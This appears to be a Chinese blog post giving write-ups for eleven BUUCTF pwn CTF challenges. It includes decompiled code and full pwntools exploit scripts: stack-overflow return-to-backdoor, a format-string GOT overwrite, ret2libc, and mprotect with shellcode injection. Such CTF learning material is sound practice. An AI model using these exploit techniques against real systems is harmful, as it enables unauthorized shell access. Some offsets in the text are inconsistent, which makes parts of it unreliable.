BUUCTF Pwn 1-12题解析及答案

test_your_nc

人如其名,直接 nc 连接即可。

rip

Checksec & IDA

裸奔的64位ELF,使用IDA查看反汇编代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[15]; // [rsp+1h] [rbp-Fh] BYREF

  puts("please input");
  gets(s, argv); // gets 函数不会检查用户输入的字符串的大小、长度 是最容易发生栈溢出的地方
                 // 本题中栈溢出漏洞就位于此处
  puts(s);
  puts("ok,bye!!!");
  return 0;
}
int fun()
{
  return system("/bin/sh"); // 后门命令,我们可以直接调用
}

EXP:

s 的大小为 0x0F ,所以我们构造的Payload是这样的:

Payload = b'A' * ( 0x0F + 0x08 ) + p64(0x40117)

0x0F + 0x08 代表 s 的大小加上8字节大小的rbp。

0x40117是 fun 函数中的命令开始的地址:

完整EXP:

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/pwn1")
io = remote("node4.buuoj.cn",26636)

context.log_level = 'debug'

Payload = b'A' * ( 0x0F + 0x08 ) + p64(0x401187)

io.sendline(Payload)
io.interactive()

warmup_csaw_2016

Checksec & IDA

也是裸奔的程序。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char s[64]; // [rsp+0h] [rbp-80h] BYREF
  char v5[64]; // [rsp+40h] [rbp-40h] BYREF

  write(1, "-Warm Up-\n", 0xAuLL);
  write(1, "WOW:", 4uLL);
  sprintf(s, "%p\n", sub_40060D);
  write(1, s, 9uLL);
  write(1, ">", 1uLL);
  return gets(v5); // 漏洞同上
}
int sub_40060D()
{
  return system("cat flag.txt");
}

EXP:

思路同上

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/warmup_csaw_2016")
io = remote("node4.buuoj.cn",27270)

context.log_level = 'debug'

Payload = b'A' * ( 0x40 + 0x08 )
Payload += p64(0x40060E)

io.sendline(Payload)
io.interactive()

0x40060E

ciscn_2019_n_1

Checksec & IDA

NX 栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  func();
  return 0;
}
int func()
{
  char v1[44]; // [rsp+0h] [rbp-30h] BYREF
  float v2; // [rsp+2Ch] [rbp-4h]

  v2 = 0.0;
  puts("Let's guess the number.");
  gets(v1);
  if ( v2 == 11.28125 )
    return system("cat /flag");
  else
    return puts("Its value should be 11.28125");
}

思路很简单,直接溢出v1变量即可。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_n_1")
io = remote("node4.buuoj.cn",27270)

context.log_level = 'debug'

Payload = b'A' * ( 0x30 + 0x08 )
Payload += p64(0x4006BE)

io.sendline(Payload)
io.interactive()

0x4006BE

pwn1_sctf_2016

Checksec & IDA

NX 栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vuln();
  return 0;
}
int vuln()
{
  const char *v0; // eax
  char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
  char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
  char v4[7]; // [esp+40h] [ebp-18h] BYREF
  char v5; // [esp+47h] [ebp-11h] BYREF
  char v6[7]; // [esp+48h] [ebp-10h] BYREF
  char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

  printf("Tell me something about yourself: ");
  fgets(s, 32, edata);
  std::string::operator=(&input, s);
  std::allocator<char>::allocator(&v5);
  std::string::string(v4, "you", &v5);
  std::allocator<char>::allocator(v7);
  std::string::string(v6, "I", v7);
  replace((std::string *)v3);
  std::string::operator=(&input, v3, v6, v4);
  std::string::~string(v3);
  std::string::~string(v6);
  std::allocator<char>::~allocator(v7);
  std::string::~string(v4);
  std::allocator<char>::~allocator(&v5);
  v0 = (const char *)std::string::c_str((std::string *)&input);
  strcpy(s, v0);
  return printf("So, %s\n", s);
}
int get_flag()
{
  return system("cat flag.txt");
}

EXP:

可见 vuln 函数的作用是把I替换成you。

而本题不存在 gets 这种十分容易溢出的函数,但是我们发现存在 fgets。

fgets(s, 32, edata);

也就是说,我们最多输入32个字节的东西,根据上文,我们可以输入32个I,这样就是32个you,也就是96个字节。

s 的大小是0x3C,那么我们只需要输入 0x3C,也就是60 / 3 个I即可溢出,之后的内容我们可以就可以构建ROP链。

思路如下:

输入20个I,随后紧接着后门地址即可获取shell。

完整EXP:

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/pwn1_sctf_2016")
io = remote("node4.buuoj.cn",25299)

context.log_level = 'debug'

Payload = b'I' * 20
Payload += b'A' * 4
Payload += p32(0x8048F13)

io.sendline(Payload)
io.interactive()

0x8048F13

jarvisoj_level0

Checksec & IDA

NX 栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(1LL);
}
ssize_t vulnerable_function()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200uLL);
}
int callsystem()
{
  return system("/bin/sh");
}

EXP:

溢出点位于vulnerable_function中的read函数。

read函数不会检查输入的数据多少,只会检查输入的数据长度,因此也是一个经常出现的栈溢出漏洞原因。

思路和前面几题一样。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/level0")
io = remote("node4.buuoj.cn",26873)

context.log_level = 'debug'

Payload = b'A' * ( 0x80 + 0x08 )
Payload += p64(0x40059A)

io.sendline(Payload)
io.interactive()

0x40059A

[第五空间2019 决赛]PWN5

Checksec & IDA

Canary 和 NX

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int result; // eax
  int fd; // [esp+0h] [ebp-84h]
  char nptr[16]; // [esp+4h] [ebp-80h] BYREF
  char buf[100]; // [esp+14h] [ebp-70h] BYREF
  unsigned int v6; // [esp+78h] [ebp-Ch]
  int *v7; // [esp+7Ch] [ebp-8h]

  v7 = &a1;
  v6 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &dword_804C044, 4u);
  printf("your name:");
  read(0, buf, 0x63u);
  printf("Hello,");
  printf(buf);
  printf("your passwd:");
  read(0, nptr, 0xFu);
  if ( atoi(nptr) == dword_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  if ( __readgsdword(0x14u) != v6 )
    sub_80493D0();
  return result;
}

EXP:

详细解法可以看:

BUUCTF [第五空间2019 决赛]PWN5

格式化字符串漏洞,且偏移为10。

简易方法直接使用 fmtstr_payload 进行格式化字符串漏洞利用。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/DWKJ-Pwn5")
elf = ELF("/home/Kaguya/桌面/Resolve/DWKJ-Pwn5")
io = remote("node4.buuoj.cn",28599)

context.log_level = 'debug'

atoi_got = elf.got['atoi']
system_plt = elf.plt['system']


Payload=fmtstr_payload(10,{atoi_got:system_plt})
io.recv()
io.sendline(Payload)
io.recv()
io.sendline(b'/bin/sh\x00')
io.interactive()

这里使用fmtstr_payload直接替换 atoi_got 的原因是got表才是程序运行时函数的真正地址,通过替换atoi,修改为system,再送入'/bin/sh\x00' 即可成功getshell。

ciscn_2019_c_1

Check & IDA

只有栈不可执行

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF

  init(argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}
int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}
int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h] BYREF
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

大概观察一下,F12中也没有/bin/sh

EXP:

那么基本就是采用ret2libc的方式。

首先我们找到栈溢出漏洞位于哪里

int encrypt()
{
  char s[48]; // [rsp+0h] [rbp-50h] BYREF  
    gets(s);

s的大小在ida中为0x50

GDB调试看看

发现我们的字符串被加密了,不要慌,解决办法很简单

只需要过一遍程序然后将结果丢在记事本中即可

结果是88

  puts("Ciphertext");
  return puts(s);

C语言中,puts函数会在输出的内容后面自动加入\n,也就是换行符。

因此我们构造泄露的Payload如下:

io.recv()
io.sendline(b'1')
io.recvuntil(b'encrypted\n')
# 缺一不可
# recv()是接收begin()输出的内容
# 1 是用来执行 encrypt() 函数从而触发栈溢出漏洞
# b'encrypted\n' 是直到接收到这一串,也就是encrypt的第一行输出结尾,等待用户输入数据时的提示语。

Payload = b'A' * ( 80 + 0x08 )
# s 大小为 0x50 也就是 80
# 64 位下 rbp 的地址为 8 位。
# 本题 main 函数 Push 了 rbp 所以我们需要覆盖rbp
Payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
# 将 puts_got 的地址写入rdi寄存器中,劫持程序流执行puts函数,然后打印 puts_plt 的地址,最后返回到main函数以便下次攻击。

io.sendline(Payload)
io.recvuntil(b"Ciphertext\n")
# 接收 puts("Ciphertext")
io.recvuntil(b"\n")
# 接收 puts(s)
 
addr = u64(io.recv(6).ljust(8,b'\x00'))
# 接收泄露的地址,接收6位并将其用\x00填充到8位

接下来都轻车熟路了,根据偏移反推地址

完整Payload如下

from pwn import *
from LibcSearcher import *

#io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_c_1")
elf = ELF("/home/Kaguya/桌面/Resolve/ciscn_2019_c_1")
io = remote("node4.buuoj.cn",28460)

context.log_level = 'debug'

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
rdi = 0x400C83
ret = 0x4006B9

main = elf.sym['main']

io.recv()
io.sendline(b'1')
io.recvuntil(b'encrypted\n')

Payload = b'A' * ( 80 + 0x08 )
Payload += p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

io.sendline(Payload)
io.recvuntil(b"Ciphertext\n")
io.recvuntil(b"\n")
 
addr = u64(io.recv(6).ljust(8,b'\x00'))
log.success("Address: " + hex(addr))
libc = LibcSearcher('puts',addr)
libcbase = addr - libc.dump('puts')
system = libcbase + libc.dump('system')
binsh = libcbase + libc.dump('str_bin_sh')

Payload_Shell = b'A' * ( 80 + 0x08 )
Payload_Shell += p64(ret) +  p64(rdi) + p64(binsh) + p64(system)
# 为什么需要 ret ,是因为需要先将system的地址放入ret中,让程序流返回到system
# 然后将binsh的地址放入rdi寄存器中作为system的第一个参数,即可getshell。
# rdi不会被作为地址,因此这就是为什么ret后面可以跟着rdi而仍旧将system作为返回地址

io.recv()
io.sendline(b'1')
io.recvuntil(b"encrypted\n")
io.sendline(Payload_Shell)

io.interactive()

ciscn_2019_n_8

Check & IDA

除了RELRO都全开,看起来蛮吓人

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

EXP:

只要 var[13] = 17 即可getshell

  var[13] = 0; //初始化var[13]的值为0
  var[14] = 0; //初始化var[14]的值为0
 

  __isoc99_scanf("%s", var, v4, v5); // __isoc99_scanf 没有限制读取的字符串长度,因此漏洞位于此处。
  // __isoc99_scanf 的原型是 __isoc99_scanf(const char *format, …) ,v5在此处作为多余参数,用途不明。
  // 原型是只有2个变量, %s 代表读取字符串,也就是format,var 代表变量, v4代表一个指向64位整数的指针。
  // 本题中,如果只想覆盖 var[13],var[14] 那么不需要动用v4
  // 如果我想覆盖任意地址,则需要在中间打一个空格,然后输入一个字符串,字符串可以转换成想覆盖的任意地址。
  if ( *(_QWORD *)&var[13] )
  // *(_QWORD *)&var[13] 的意思代表 var[13],var[14]所构成的64位整数
,它是一个指针。
  // 但是在if中,它需要被解运算,也就是代表从 var[13],var[14]所构成的64位整数 中取出整数与0进行判断,如果大于0,则通过判断。
  {
    if ( *(_QWORD *)&var[13] == 17LL ) // 从 var[13],var[14]所构成的64位整数 中取出整数与17进行判断,如果等于17,则通过判断。
      system("/bin/sh");

绕过很简单,只需要这样即可

Payload = p32(17) * 14

完整EXP如下

from pwn import *

io = process("/home/Kaguya/桌面/Resolve/ciscn_2019_n_8")
#io = remote("node4.buuoj.cn",27270)

context.log_level = 'debug'

Payload = p32(17) * 14
io.sendline(Payload)
io.interactive()

jarvisoj_level2

Checksec & IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}

EXP:

不必多说

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/level2")
io = remote("node4.buuoj.cn",25929)
elf = ELF("/home/Kaguya/桌面/Resolve/level2")

context.log_level = 'debug'
context(arch='i386',os='linux')

system = elf.sym['system']

Payload = b'A' * ( 0x88 + 0x04 )
Payload += p32(system) + p32(0) + p32(0x804A024)
# p32(0) 是重点,是用来平衡栈帧的操作
# system函数的内部实现调用了execve函数
# system函数其实有两个参数,但是第二个默认为Null,也就是空字符
# 因此我们可以传入一个空字符或任意其他字符当作第二个参数来平衡栈帧

io.sendline(Payload)
io.interactive()

bjdctf_2020_babystack

Checksec & IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[12]; // [rsp+0h] [rbp-10h] BYREF
  size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  LODWORD(nbytes) = 0;
  puts("**********************************");
  puts("*     Welcome to the BJDCTF!     *");
  puts("* And Welcome to the bin world!  *");
  puts("*  Let's try to pwn the world!   *");
  puts("* Please told me u answer loudly!*");
  puts("[+]Are u ready?");
  puts("[+]Please input the length of your name:");
  __isoc99_scanf("%d", &nbytes);
  puts("[+]What's u name?");
  read(0, buf, (unsigned int)nbytes);
  return 0;
}
__int64 backdoor()
{
  system("/bin/sh");
  return 1LL;
}

EXP:

栈溢出漏洞位于

read(0, buf, (unsigned int)nbytes);

因为 nbytes是一个unsigned int 数,因此我们可以通过输入-1绕过read的检测。

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",27574)

context.log_level = 'debug'

io.recvuntil(b"name:\n")
io.sendline(b'-1')
io.recvuntil(b"name?\n")

Payload = b'A' * ( 0x10 + 0x08 )
Payload += p64(0x4006E7)

io.sendline(Payload)
io.interactive()

0x4006E7

get_started_3dsctf_2016

Checksec & IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);
  gets(v4);
  return 0;
}
void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 814536271 && a2 == 425138641 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 255 )
    {
      v4 = (char)v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 255 );
    }
    fclose(v2);
  }
}

EXP:

显而易见,缓冲区溢出位于

  gets(v4);

v4的大小为0x38

这里有两种办法,一种是直接溢出然后通过判断条件最后输出flag。

但是这个办法会出现问题,因为本体没有开启标准输入输出流,需要自己手动调用exit()。

本文不使用本方法,本文使用 mprotect 使bss段可执行构造shellcode getshell。

很简单,mprotect原型如下

int mprotect(void *addr, size_t len, int prot)

addr 内存起始值

len 内存空间大小

prot 内存权限

也就是说 我们需要找到一个 4k对齐 的内存起始值,然后赋予他可执行权限。也就是7 RX。

我们可以发现bss段中存在一个4K对齐的内存段。

因此构造如下Payload:

Payload = b'A' * 0x38
Payload += p32(mprotect) + p32(pop3) + p32(bss_start) + p32(0x1000) + p32(7)
Payload += p32(read) + p32(pop3) + p32(0) + p32(bss_start) + p32(0x1000) + p32(bss_start)

shellcode = asm(shellcraft.sh())

这段Payload分为三部分:

  1. Padding 也就是填充垃圾字符

  1. mprotect函数及其参数

  1. read函数及其参数

为什么要构造这样的Payload呢?我们知道,mprotect可以修改段的权限,那么我们得想一个办法向栈中修改过的内存送入我们的shellcode。

这时候可以用上write或者read。

read的函数原型是这样的:

ssize_t read(int fd, void *buf, size_t count);

fd 文件描述符 0/1/2 标准输入/标准输出/标准错误输出

buf 输出/写入的数据存储的缓冲区指针

count 输出/写入/输出的最大的字节长度

fd 我们填 0,代表标准输入。

buf 也就是需要送入数据的地址,我们填入mprotect修改的地址。

count,我们填入mprotect修改时修改的大小。

这下Payload已经构造完毕,就是shellcode的步骤了。

pwntools内建一个可以直接构建shellcode的函数。

我们使用

context( arch = 'i386' , os = 'linux' )
shellcode = asm(shellcraft.sh())

构造shellcode。

可得出完整EXP:

from pwn import *

#io = process("/home/Kaguya/桌面/Resolve/get_started_3dsctf_2016")
elf = ELF("/home/Kaguya/桌面/Resolve/get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",26283)

context.log_level = 'debug'
context(arch='i386',os='linux')

mprotect = 0x806EC80
read = 0x806E140

pop3 = 0x08063ADB

bss_start = 0x080EC000

Payload = b'A' * 0x38
Payload += p32(mprotect) + p32(pop3) + p32(bss_start) + p32(0x1000) + p32(7)
Payload += p32(read) + p32(pop3) + p32(0) + p32(bss_start) + p32(0x1000) + p32(bss_start)

shellcode = asm(shellcraft.sh())

io.sendline(Payload) 
io.sendline(shellcode)
io.interactive()

为什么会用到 pop3呢?

因为我们需要给mprotect函数、read函数传参。

虽然一般情况下32位程序用不着寄存器传参,但是这种情况下用的到。

edi 、 esi 、 ebx 分别是第一、第二、第三参数。

  • 0
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值